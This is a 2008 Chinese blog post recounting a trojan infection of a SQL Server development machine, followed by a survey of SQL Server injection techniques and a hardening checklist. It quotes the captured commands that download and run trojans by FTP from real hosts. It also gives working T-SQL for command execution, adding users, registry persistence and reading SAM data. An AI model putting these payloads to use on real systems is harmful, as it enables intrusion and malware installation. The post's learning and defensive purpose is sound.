sqlserver注入方式与安全防护的学习

    自己的开发机经历了两次的中毒现像.每次中毒的现像,都是sqlserver.exe进程去执行cmd.com进程,然后生成*.sys与*.bat两个文件,然后去使用ftp.exe去下载木马下载器,然后杀毒软件开始报警了.

    下面是cmd.com执行指令内容
    "C:"WINDOWS"system32"cmd.com" /c net1 stop sharedaccess&echo open 218.61.11.97>dboy.sys&echo 11>>dboy.sys&echo 11>>dboy.sys&echo get pc.exe C:"boots.exe>>dboy.sys&echo bye>>dboy.sys&echo ftp -s:dboy.sys>dboy.bat&echo copy C:"boots.exeC:"WINDOWS"system32"inf"test.exe&echo start start /high "" C:"WINDOWS"system32"inf"test.exe&echo start C:"boots.exe>>dboy.bat&echo start C:"boots.exe>>dboy.bat&echo del dboy.sys>>dboy.bat&echo del %0>>dboy.bat&dboy.bat

    "C:"WINDOWS"system32"cmd.com" /c sc stop sharedaccess&echo open ddosboy1.3322.org >dboy1.sys&echo dboy>>dboy1.sys&echo if>>dboy1.sys&echo get dboy1.exe C:"Windows"tcpsrv1.exe>>dboy1.sys&echo bye>>dboy1.sys&echo ftp -s:dboy1.sys>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo start C:"Windows"tcpsrv1.exe>>system1.bat&echo del dboy1.sys>>system1.bat&echo del %0>>system1.bat&system1.bat



   第一次中毒,之后,就对sql server进行了加强,删除了"xp_cmdshell"这个sql server中最不安全的扩展存储过程.不过,好了没一个月,又来中一次.
   这一次,我检查了数据库日志,xp_cmdshell并没有恢复,不过却在日志在发现了sp_oacreate与sp_oamethod两个存储过程的执行日志.
   于是上网学习,把自己的学习的一些东西记录下来:
   1. 初级sql注入攻击
   初级黑客攻击SQL Server时,首先采用的方法是执行master数据库中的扩展存储过程xp_cmdshell命令来执行一些指令,添加用户,添加文件,添加木马病毒等.
   对付此类黑客只要禁用xp_cmdshell存储过程就可以了.
   xp_cmdshell是一个允许执行任意的命令行命令的内置的存储过程。例如:
   Exec master..xp_cmdshell 'dir'
   将获得SQLSERVER进程的当前工作目录中的目录列表。如图:

 

   Exec master..xp_cmdshell 'net user'
   将提供服务器上所有用户的列表。当SQLSERVER正常以系统帐户或域帐户运行时,攻击者可以做出更严重的危害。

   从上面的两个示例中可以看出xp_cmdshell的强大功能,功能的强大也意味着破坏性的强大.
   一般情况下,xp_cmdshell对管理员来说也是不必要的,xp_cmdshell的消除不会对Server造成任何影响。    
   可以将xp_cmdshell消除:    
   Use   Master    
   Exec   sp_dropextendedproc   'xp_cmdshell'
   Go    
         
   如果需要的话,可以把xp_cmdshell恢复回来:    
   Use   Master    
   Exec   sp_addextendedproc   'xp_cmdshell', 'xplog70.dll'
   Go    

   如果有必要可以把xplog70.dll这个文件也删除了,记得做好备份.

sql 2005:

    sql 2005默认情况下是不能执行xp_cmdshell存储过程的,但这就安全了吗?

 
开启xp_cmdshell存储过程的执行权限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
关闭xp_cmdshell存储过程的执行权限
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 0;RECONFIGURE;

 

 

   删除了xplog70.dll将影响到"企业管理器"的一部分功能,我碰到的是无法在"企业管理器"中查看数据库服务器的属性.
   
   2.中级sql注入攻击
     我们进行了上面这一步的操作之后,就可以防护住了sql server的安全了吗?不行,这只能针对一些刚学习sql注入的菜鸟才可行的办法,对于中鸟及老鸟可不行,他们的方法可多了.
     现在让我们来看一下中级注入的方法.
     当数据库管理员禁用了xp_cmdshell同时删除了xplog70.dll,也禁止了文件上传功能,那么针对初级来说使用xp_cmdshell来进行一些操作已经不可行了.
     但是微软还提供了一些其他功能的存储过程,可以让中级黑客进行入侵.
     1) 利用OLE对象接口
      SQL SERVER提供了一些函数访问OLE对象,分别是sp_OACREATE和sp_OAMethod,
      可以利用他们调用OLE控件,间接获取一个 shell。使用SP_OAcreate调用对象wscript。shell赋给变量@shell,然后使用SP_OAMETHOD调用@shell的属性run执行命令。

      DECLARE @shell INT
      EXEC SP_OAcreate 'wscript.shell',@shell out
      EXEC SP_OAMETHOD @shell,'run',null, 'net user hack hack /add'


    2) 开启access的沙盒模式
       在默认情况下Jet数据引擎不支持select shell("net user ray ray /add")这样的SQL语句,
       但是开启了JET引擎的沙盒模式后就可以执行命令,
       先利用xp_regwrite存储过程改写注册表,然后利用 OpenRowSet访问一个系统本身自带的一个ACCESS数据库文件,再执行运行命令的SQL语句。

       EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare"Microsoft"Jet"4.0    "Engines','SandBoxMode','REG_DWORD',3

    SandBoxmode值说明
    默认值为2,
    0--表示始终禁用SandBoxmode模式,
    1--表示对于非Acess应用程序试用SandBoxmode模式,
    2--表示对access应用程序使用SandBoxmode模式,
    3--则表示完全开启安全设置。

        Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:"windows"system32"ias"ias.mdb','select shell("net user hack hack /add")');

 
     3) 利用xp_regxxxxx之类的存储过程写注册表项
    这个方法只有sa账户或是sysadmin权限的帐户才可以使用.
    执行
    exec xp_regread ''HKEY_LOCAL_MACHINE'', ''SECURITY"SAM"Domains"Account'', ''F''
    如果碰到一个粗心的管理员,说不定就能得到管理员的密码.
    加一个启动项什么的自然不在话下。
    利用xp_regwrite写注册表项,直接把要执行的命令写入RUN启动项。
    EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE"Microsoft"Windows"currentversion"run','shell','REG_SZ','C:"windows"system32"cmd.exe /c net user hack hack /add'

    如果有必要就把这些扩展都删除了
    Xp_regaddmultistring (向注册表中增加项目)
    Xp_regdeletekey (从注册表中删除一个键)
    Xp_regdeletevalue (从注册表中删除一个键值)
    Xp_regenumvalues (列举主键下的键值)
    Xp_regread (读去一个主键下的键值)
    Xp_regremovemultistring (从注册表中删除项目)
    Xp_regwrite (向注册表中写入数据)

    4 ) 利用SQL代理执行命令
       默认情况下这个服务是关闭的.我们可以先利用xp_servicecontrol开启SQLSERVERAGENT,然后建立个SQL计划任务,然后马上运行这个任务。

        exec master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT'
        use msdb exec sp_delete_job null,'x'
        exec sp_add_job 'x'
        exec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c Dir C:"'
        exec sp_add_jobserver Null,'x',@@servername exec sp_start_job 'x'

    除了我举的上面四种方式外,还有其他方式,不过我不太了解,我就不一一列举了。

   三、其他获取系统信息
    
    历遍目录
    exec master.dbo.xp_dirtree 'c:"'
    获取子目录
    exec master.dbo.xp_subdirs 'c:"'
    列举可用的系统分区
    exec master.dbo.xp_availablemedia
    判断目录或文件是否存在
    exec master..xp_fileexist 'c:"boot.ini'
    等等,不一一列举了.

    四、高级注入技术
        对于高级注入技术,我在网上没找到相关的学习资料,我想这些技术也应该是在一小部分人群中传播的。所以也就无从讲起了。


   五、防御SQL注入的一些要点与方法
    1. 确认已经安装了windows操作系统和SQL Server的最新补丁程序。  
    2. 评估并且选择一个考虑到最大的安全性但是同时又不影响功能的网络协议。 多协议是明智的选择, 但是它有时不能在异种的环境中使用。  
       说明:如果可能请除去不需要的网络协议。  
    3. 给 "sa" 和具有"sysadmin"权限的帐户设定强壮的密码来加强其安全性。至于什么是强壮的密码呢,个人认为是字母、数字、特殊字符的组合,不少八位字符。
    4. 使用一个低特权用户作为 SQL 服务器服务的查询操作账户,不要用 LocalSystem 或sa。
       这个低权限的帐户应该只有最小的权限和限制这个帐户对SQL Server的查询与存取操作。 用户可以用最小权限查询sql server中的很多东西。若非必须不要给予多余的权限。
       注意:当使用企业管理器做以上设置时 , 文件,注册表和使用者权利上的权限处理。  

    5. 确定所有的SQL服务器数据,而且系统文件是装置在 NTFS 分区,且"目录访问控制"被应用。
       如果万一某人得到对系统的存取操作权限,该层权限可以阻止入侵者破坏数据,避免造成一场大灾难。  

    6.如果你不需要 xp_cmdshell 那请停用它。如果需要的话再把它增加回来。
    其实这也好也不好 ————一个侵入者如果发现它不在了,也只需要把他加回来。考虑一下,可以除去在下面的 dll但是移除之前必须测试因为有些dll同时被一些程序所用。
    要找到其他的程序是否使用相同的 dll请进行以下步骤:  
    首先得到该 dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and o.name=‘xp_cmdshell‘  
    其次,使用相同的 dll发现其他的扩展储存操作是否使用该dll:
    select o.name,c.text from dbo.syscomments c , dbo.sysobjects o where c.id=o.id and c.text=‘xplog70.dll‘  
    用户可以用同样的办法处理下面步骤中其他你想去掉的进程。  

    7. 如不需要就停用对象连接与嵌入自动化储存程序 ( 警告 - 当这些储存程序被停用的时候 , 一些企业管理器功能可能丢失). 这些存储过程如下:  
    sp_OACreate  
    sp_OADestroy  
    sp_OAGetErrorInfo  
    sp_OAGetProperty  
    sp_OAMethod  
    sp_OASetProperty  
    sp_OAStop  
    如果你决定停用这些存储过程,那么请给他们写一个脚本这样在以后你用到他们的时候你能够把他们重新添加回来 。

    8. 禁用你不需要的注册表存储过程。(同上面的警告)这些包括:  
    xp_regaddmultistring  
    xp_regdeletekey  
    xp_regdeletevalue  
    xp_regenumvalues  
    xp_regremovemultistring  
    注意 :xp_regread/ xp_regwrite这两个存储过程的移除影响一些主要功能包括日志和SP的安装,所以他们的移除不被推荐。  


    9.移除其他你认为会造成威胁的系统储存过程。 这种存储过程是相当多的,而且他们也会浪费一些cpu时间。
     小心不要首先在一个配置好的服务器上这样做。首先在开发的机器上测试,确认这样不会影响到任何的系统功能。在下面是我们所推荐的有待你评估的一些列表:  
    sp_sdidebug  
    xp_availablemedia  
    xp_cmdshell  
    xp_deletemail  
    xp_dirtree  
    xp_dropwebtask  
    xp_dsninfo  
    xp_enumdsn  
    xp_enumerrorlogs  
    xp_enumgroups  
    xp_enumqueuedtasks  
    xp_eventlog  
    xp_findnextmsg  
    xp_fixeddrives  
    xp_getfiledetails  
    xp_getnetname  
    xp_grantlogin  
    xp_logevent  
    xp_loginconfig  
    xp_logininfo  
    xp_makewebtask  
    xp_msver xp_perfend  
    xp_perfmonitor  
    xp_perfsample  
    xp_perfstart  
    xp_readerrorlog  
    xp_readmail  
    xp_revokelogin  
    xp_runwebtask  
    xp_schedulersignal  
    xp_sendmail  
    xp_servicecontrol  
    xp_snmp_getstate  
    xp_snmp_raisetrap  
    xp_sprintf  
    xp_sqlinventory  
    xp_sqlregister  
    xp_sqltrace  
    xp_sscanf  
    xp_startmail  
    xp_stopmail  
    xp_subdirs  
    xp_unc_to_drive  
    xp_dirtree  
    

    10. 除去数据库的guest账户,这样可以把未经许可的使用者排除在外。 例外情况是master和 tempdb 数据库,因为对他们guest帐户是必需的。  

    11. 若非必须,请完全地禁用SQL邮件功能。它的存在使潜在的攻击者递送潜在的 trojans ,病毒或是简单实现一个DOS攻击成为可能  

    12. 记录所有的用户存取访问情况。 从企业管理器做这些设定或通过以sa登陆进入查询分析器的下列各项:  
    xp_instance_regwrite N‘HKEY_LOCAL_MACHINE‘, N‘SOFTWARE" Microsoft"MSSQLServer"MSSQLServer‘,N‘AuditLevel‘,REG_DWORD,3  

    13. 建立一个计划的任务运行: 
    然后再重定向输出到一个文本文件或电子邮件,因此你监测失败的登录尝试。
    这也为系统管理员提供一个好的记录攻击的方法。 也有很多用来分析NT日志事件的第三者工具。
    注意: 你可能需要将路径换成你安装SQL的路径。  

    14. 设定非法访问和登陆失败日志警报。到 企业管理器中的"Manager SQL Server Messages "搜寻任何有关无权访问的消息
    ( 从查找"login failed"和"denied"开始). 确定你所有感兴趣的信息被记录到事件日志。然后在这些信息上设定警报 , 发送一个电子邮件或信息到一个能够对问题及时响应的操作员。  

    15. 经常检查组或角色全体会员并且确定用组分配权限,这样你的审计工作能够简化。 确定当你在的时候 , 公众的组不能从系统表执行选择操作。  

    16. 花些时间审计用空密码登陆的请求。 使用下面的代码进行空密码检查:  
    select  
    password  ,*
    from syslogins  
    where password is null  
    order by name  


    17. 检查所有非sa用户的存取进程和扩充存储进程的权限。 使用下面的查询定期的查询哪一个进程有公众存储权限:  
    Use master  
    select sysobjects.name  
    from sysobjects,sysprotects  
    where sysprotects.uid=0  
    AND xtype 在 (‘X‘,‘P‘)  
    AND sysobjects.id=sysprotects.id  
    Order by name  

    18. 当时用企业管理器的时候,使用整合的安全策略。 过去,企业管理器被发现在标准的安全模态中储存 "sa" 密码在注册表的 plaintext 中。 注意: 即使你改变模态,密码也会留在注册表中。

sql 2000:

    使用 regedit 而且检查键:  
    HKEY_USERS"{yourSID}"software"Microsoft"Microsoft SQL server"80"tool"SQLEW"registered server X"SQL server group  
    ("SQL server组" 是默认值但是你可能已建立用户组因此相应地改变其位置)  

 

sql 2005已经没有在注册表中写sqlew这个键了.

      

 

    19. 制定一个安全审核计划,每月的一份安全报告,对IT主管可用的报表包括新的开发内容中进行的数据库修改,成功的攻击 , 备份保护 , 和对象存取失败统计。  

    20. 不要允许使用者交互式登陆到 SQL Server之上。这个规则适用任何的服务器。 一旦一个使用者能够交互式进入一个服务器之内,就有能用来获得管理员的存取特权得到管理员权限。  

 

 最后就是,对方怎么得到我的开发机上的动态IP的,这我怎么也没想清楚.

 

 

 

 

posted @ 2008-12-10 13:11  DotNet菜园  阅读(6507)  评论(13编辑  收藏  举报